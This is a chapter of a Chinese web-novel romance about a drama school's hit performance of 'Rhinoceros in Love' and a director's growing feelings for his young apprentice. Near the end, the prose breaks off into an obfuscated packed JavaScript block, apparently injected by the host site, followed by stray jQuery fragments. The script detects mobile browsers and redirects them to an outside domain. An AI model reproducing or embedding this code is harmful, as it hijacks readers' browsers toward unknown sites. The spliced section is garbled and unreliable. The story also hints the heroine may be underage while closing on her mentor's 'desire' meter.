一场雨，下到天光破晓。


    中戏实验剧场门口，水泥地被雨刷得发亮。长长的观众队伍沿着剧场排到街口，连走廊都塞满了人。


    谁也没想到，这部原本贴着“暑期内部组排、教学实验”标签的《恋爱的犀牛》，在正式公演的前一晚，悄无声息地被文艺圈盯上了热搜榜。


    原价五十的票，被黄牛炒到三百八，票根都快拍成盲盒抽奖。


    中戏南门的保安队长看着熙熙攘攘的人群，叼着牙签在群里发语音：“今天这场是哪个明星来演了？你们谁能告诉我？”


    *


    后台更衣室，暖黄的灯像洒在旧日唱片上的光。


    沈清雨坐在化妆镜前，腿晃啊晃，一手拿着补妆粉扑，一手攥着一个新的小香包，轻轻地在掌心滚着。


    她今天演“明明”。一个像她自己似的角色，热烈、天真、带点拧巴的小聪明。


    这是她第一次真正站上“属于演员”的舞台，还是和徐然洲对戏。


    导演亲自上台演“马路”的事早已传疯了，成了校内流传最快的“限定情书”。


    有人说他是为了质量把控，有人说资源不够、演员临时换角。但沈清雨知道，不全是为了戏。


    也是…为了她。


    徐然洲这个人，骨子里克制得过分。他把想说的热烈藏进台词，把想伸出的手藏进动作调度。他说一是一，不会多说一个字；但他眼神里有火，是明晃晃的、藏不住的。


    她不说破。


    可她都看得见。


    这一切，刚刚好。


    她把小香包收进衣袋，抬头对镜笑了一下。


    “明明今天，是要发光的。”


    *


    后台另一侧，灯光柔和，安静得像舞台帘幕还没拉起的那一刻。


    周述安正蹲在灯控台前校对最后一场灯光变化，神经绷得像拉到极致的小提琴弦。


    宁素笺抱着一份泛黄的手抄台本，小心翼翼放进档案袋里，动作比以往还慢了几拍。她平日里话少，此刻眼神里却是一种说不出的紧张。


    她转头，悄声问一旁的人：“你……觉得他们今晚会演得好吗？”


    那人是林冬明。


    他仍是那副风格，浅蓝色衬衫、洗得发白的帆布包，像从旧杂志里走出来的文艺男青年。


    他没立刻回答，反倒是低头翻完手里的小册子，才缓缓合上，像合上一段旧事。


    然后抬眸，看向尚未亮起的舞台。


    他的目光落在舞台中央那个空点上，像是能透过幕布看见什么，又像是早就知道结局。


    “一定。”


    他轻声开口。


    语调不高，却像是宣判。


    幕布在这时轻轻动了一下，像世界的心脏被谁按了暂停键。


    一切喧哗都还在剧场之外。


    而他们的故事，真正开始了。


    *


    夜色一点点拢下来，舞台的灯却亮得像白昼。


    《恋爱的犀牛》正式开场那一刻，后台一瞬静得掉根针都能听清。沈清雨站在幕布后，耳边是自己心跳的声音。


    第一句台词落地。


    她的眼神就立住了，像是捧了一把火。


    她就是“明明”。热烈、笨拙、几近执拗地去爱一个人，哪怕被伤，被误解，也义无反顾。


    前排有人轻轻吸气。


    第二幕，马路登场。


    徐然洲一身灰白工装，站在聚光灯下时，整个人像一块被岁月裹紧的岩石。他的声音不高，却有种来自胸腔深处的拉扯感。


    沈清雨看见他落台词时微颤的指节，看见他在“你要的爱我给不了”的台词后几乎不动的眼神。


    明明不哭，但沈清雨眼眶热了。


    观众席静到极致，只有戏的呼吸和情感的撞击在空中共鸣。


    他们对戏那一幕，台词极短，几乎靠情绪撑起来。


    一个说：“我不是光，我甚至不是你要的窗户。”


    一个回：“你不懂，我从来不要光，我只想站在你窗前，哪怕被拒绝。”


    明明哭得狼狈，马路也没回头。


    而观众心碎一地。


    没人注意到，徐然洲落幕那场戏眼角是红的。


    最后一场，他的声音没有起伏，甚至有些冷，却每一个字都像从胸膛最深处剜出来：


    “我怎么会不爱你？”


    “但……与你无关。”


    温柔得像雨水落进河底。


    沈清雨怔了一瞬，眨眨眼，笑了。


    她走过去，轻轻捏住他的袖口，像是真的在安慰一头受伤的犀牛。


    *


    第一排正中位置，是沈家人。


    沈奶奶眼圈红了一场，嘴里一直念叨：“这孩子哪儿学的这些演法，像真的哭。”


    沈爷爷悄悄把一方手帕塞给她，自己望着舞台，一动不动。


    他是老派知识分子，看惯了剧、阅人无数，可在那一刻，他的目光是骄傲的。


    “我们家这宝贝啊，像你。今个算是站住了。”


    而沈逸尘，坐在最中间，眉眼淡淡，那张惯于谈判桌的脸上，看不出明显波澜。


    他像是在用一种不动声色的方式，评估舞台上那位沉静如山的“马路”。


    台下灯光一亮，沈清雨对他笑。


    沈逸尘微微点头，回了个安抚的笑只是在她身侧的徐然洲站定时，轻轻扫了他一眼。


    那眼神不带敌意，却像一把秤。


    他没说话，但谁都知道，这位沈家继承人，正在替他们家的明珠衡量未来。


    直到“马路”那句低沉克制的告白落下。


    沈逸尘眼神一变，微不可察地收紧了指节。


    他看得懂这场戏，也看得出戏外的那一层。


    他不是不许她喜欢谁，只是这份喜欢，得值得她去演一辈子。


    ·


    第三排靠左的位置，纪云霆嘴里叼着一颗柠檬糖。糖纸还没完全拆开，他已经咬碎了那一口酸。


    “操。”


    他低低骂了一声，声线冷得像压在喉咙底的火。音量极小，只有坐在他旁边的小助理听见，当场吓得一哆嗦，差点把票根捏破。


    可纪云霆没管。


    他目光死死盯着台上那个身影，没有眨眼。


    光打在舞台中央，徐然洲站在剧中马路的位置。戏里他是执着又沉默的送牛人，戏外他是他们这一代演员里最懂“收”的那一个。


    克制得近乎病态，沉稳得像封雪的山。


    可今晚，整座山都被凿开了。


    语气、眼神、动作，每一寸都在泄露情绪。他没有说“我爱你”，可全场都听到了。


    而那个站在他面前的小姑娘，穿着最简单的白裙子，抬头望他时眼里都是光。


    她是唯一看到那点冰的光的人


    也是，唯一能点得燃他的人。


    这场戏，他导得沉稳克制，他们演得炽热纯粹。


    一切都恰到好处，无可挑剔。


    纪云霆一直紧绷的身子松一松，他向后一靠，又恢复了平时那副散漫谁都不放在心里的模样。像是想到了什么，脸上又挂上了笑。


    “谁说我没有眼光？”


    小助理还没有缓过来。不是，他家老板最近怕不是抽风？一会哭，一会笑的。连公司都来得少了。之前不是还说什么剧团里个个都是“熟人”、“冰块”，没有意思。


    这几周可是连轴转，除了公司就是剧团。别说梨园了，连家都回的少。


    真是太阳打西边出来了。


    纪云霆舌尖一动，把那点薄荷柠檬味咽下去，摸出手机，发了条消息到后台群：


    【我靠，他要是还不追，我他妈替他追。】


    后台角落，林冬明刚合上台本。


    他看到这条消息，抬了抬眼皮，慢吞吞打字：


    【文明一点。纪老师。】


    【他不会追。】


    【但他会一直看着。】


    这话发出去几秒后，纪云霆愣了下。


    什么陈腔滥调？酸得他起了一声鸡皮疙瘩。


    可纪云霆抬头看了看台上的两个人。半晌，他低笑出声，尾音带点冷意：


    【搞文学的都这么会说话吗。】


    林冬明没回。


    他手边那本手抄台本，已经被他揉得起皱。封页角翘着，像一截旧信。


    他没抬头，只是淡淡开口，朝身边还在吸鼻子的宁素笺说：


    “她演得，比排练时好。”


    宁素笺没回话，只是红着眼圈点头，紧紧攥住档案袋。她早知道的，这丫头一定可以做到。


    这一场，不止是演出。


    是火，是爱，是暗流汹涌里第一次有人光明正大地发了光。


    *


    帷幕落下，全场静默一秒，下一秒掌声雷动。


    “牛的！”


    “刚刚那段眼神对视，我鸡皮疙瘩掉一地！”


    “那个女主是谁？沈清雨？她是不是还没成年？”


    “那个演马路的男的是谁？气场炸裂啊！”


    “导演……是他？”


    有人终于反应过来，上网搜名字，下一秒就炸了。


    #中戏剧团一夜爆红#


    #恋爱的犀牛实习版好疯好美好浪漫#


    #“中戏老师”登台演马路，台词比原版更狠#


    帷幕后，沈清雨还在微微喘息，妆都没来得及卸，脸上的红晕随着心跳一点点散开。


    掌声一阵接一阵，像风穿过胸腔，热意蔓延到指尖。


    手机一亮一亮，全是群消息、转评截图，还有天涯热搜榜上《恋爱的犀牛》的红字卡点。


    这一切来的快，来得盛。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650278|172594||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可她心里只等一个声音。


    身后，一道熟悉的气息靠近，茉莉混着雪松味。徐然洲站在她身后，声音低得像拂过她耳后的风。


    “演得特别好。”


    顿了顿，他轻声补了一句：“……我为你感到骄傲。”


    最后两个字他说的不是特别自然，像是很少开口说这类话。确实，这个人惯会“收”，从不轻易评价谁，也几乎不说“特别”。


    沈清雨没回头，只是弯了弯眼睛，笑得像一轮捡到糖的亮月。


    “谢谢师父。”


    她顿了一下，忽然转过头来凑近他，声音压得低低的，带着一点得意的小狡猾：


    “不过你知道吗？你那句‘与你无关’，声音太颤了，差点藏不住。”


    徐然洲怔了一瞬，眉眼没动。


    她却笑得像得了罐头的小糯米，眼尾都在发亮：


    “其实我知道你那天为什么生气，还有你在担心什么。你怕我演的不像我自己，怕我太像你，为了你，改变自己的表演风格。……又怕我放不下“马路”，入戏太深，对吗？”


    “可是师父，你知道吗？我今天演的，正是我自己。完完全全的我。”


    “还有，你怎么知道融入你的风格就一定不好？这叫‘个人特色’，反正你不就只有我一个徒弟嘛？”


    她说的自然，仿佛这是什么特别骄傲的事情，眉眼生动的让他的心跳落了半拍。


    “……你知道这意味什么吗？”他声音干涩的吓人。


    “我是你的徒弟，自然会有你的影子。这有什么好隐瞒的？这不好吗？”


    “…没有…没有不好。”他干巴巴地解释，难得没有平时那副“冷硬严厉”的师父样。


    “师父。”


    “嗯？”


    “我是不是没有告诉过你——”沈清雨的语速很轻，但每一个字都重重砸在他的心上。


    “你…一直是我的信仰。而‘雨中花’也是我想守护的，现在，我是为了自己和大家而上台。”


    剧团的每一个人，都是她源源不断的动力，她站在荧幕上，亦是代表着那些满怀热爱却身居幕后的成员们。她会让他们知道，所有的付出和心血都不会白费。


    “所以我没不开心。”她俏皮地一眨眼，然后提着裙摆哒哒哒地跑了。


    速度很快，裙角一晃一晃的，像是在他的心上留下了一个一个印记。不深，却又一种难以言喻的感觉。


    他形容不上来。这是一种他从来没体会过的感觉。但他并不反感。


    徐然洲站在一片黑影之中，仿佛成了这场剧目的最后一幕。他没动，却像从头到脚被什么缓缓淹没。


    不是灯光，不是落幕，也不是掌声。


    而是她。


    眼前忽然浮起这些天的细节。


    她和宁素笺窝在练功厅角落里，手里拿着同款的小风扇，困得眼睛都睁不开还在讨论剧本。那天，他端着一杯热茶走进去，装作路过，其实脚步在门口顿了快十分钟。


    她和林冬明为一场独白争得面红耳赤，他坐在后排假装看点位。可她每一个音节的转折、情绪的断点，他都记得清清楚楚。


    她站在走廊边角，拿着手机发语音，低着头跟她哥说：“他今天连我加的那页笔记都没看。”


    可他看了。早就看了。


    他甚至把那句话抄了一句进了日记本里：“明明想靠近马路，可马路是一道不能越的线。”


    她照顾他时留下的毛巾，蓝白格子边被洗得有点褪色了。他本可以随手换了，却留了下来，搁在沙发角落。他也不知道是为什么。几天都没舍得动。


    小姑娘大概以为，因为那天的事情，这些天他的种种都是在“哄她”。因为愧疚，所以迁就、补偿。


    其实不是。他自己再清楚不过了。


    不是愧疚，是认了。


    是他终于想明白了。若她心意已定，那他退让无意义。不如任她选择。她要靠近，他再也不拒绝。因为她会不开心。她要想后退……那他便悄无声息地消失。


    “凭她心意，任她选择。”


    他徐然洲，好像真的喜欢上了一个会发光的小姑娘。


    可他也知道——


    她的小脑袋瓜总说要“独立自由地长大”，却在某些时候，软得像一颗糖，捧着星星都怕砸疼别人。


    所以他可要护好了。


    徐然洲低头，看着被自己无意识捏瘪的水瓶，手指微微松开。


    走廊尽头，小姑娘的裙摆已经消失在拐角，只留一串急促的脚步声，哒哒哒像心跳。


    他没追。


    他一向不追。


    不是不会。只是，怕她回头看见他时，会慌。


    她还没长大呢。


    不过几年，他等得起。


    他们来日方长。


    【徐然洲爱意值：80％，情欲值：50％。】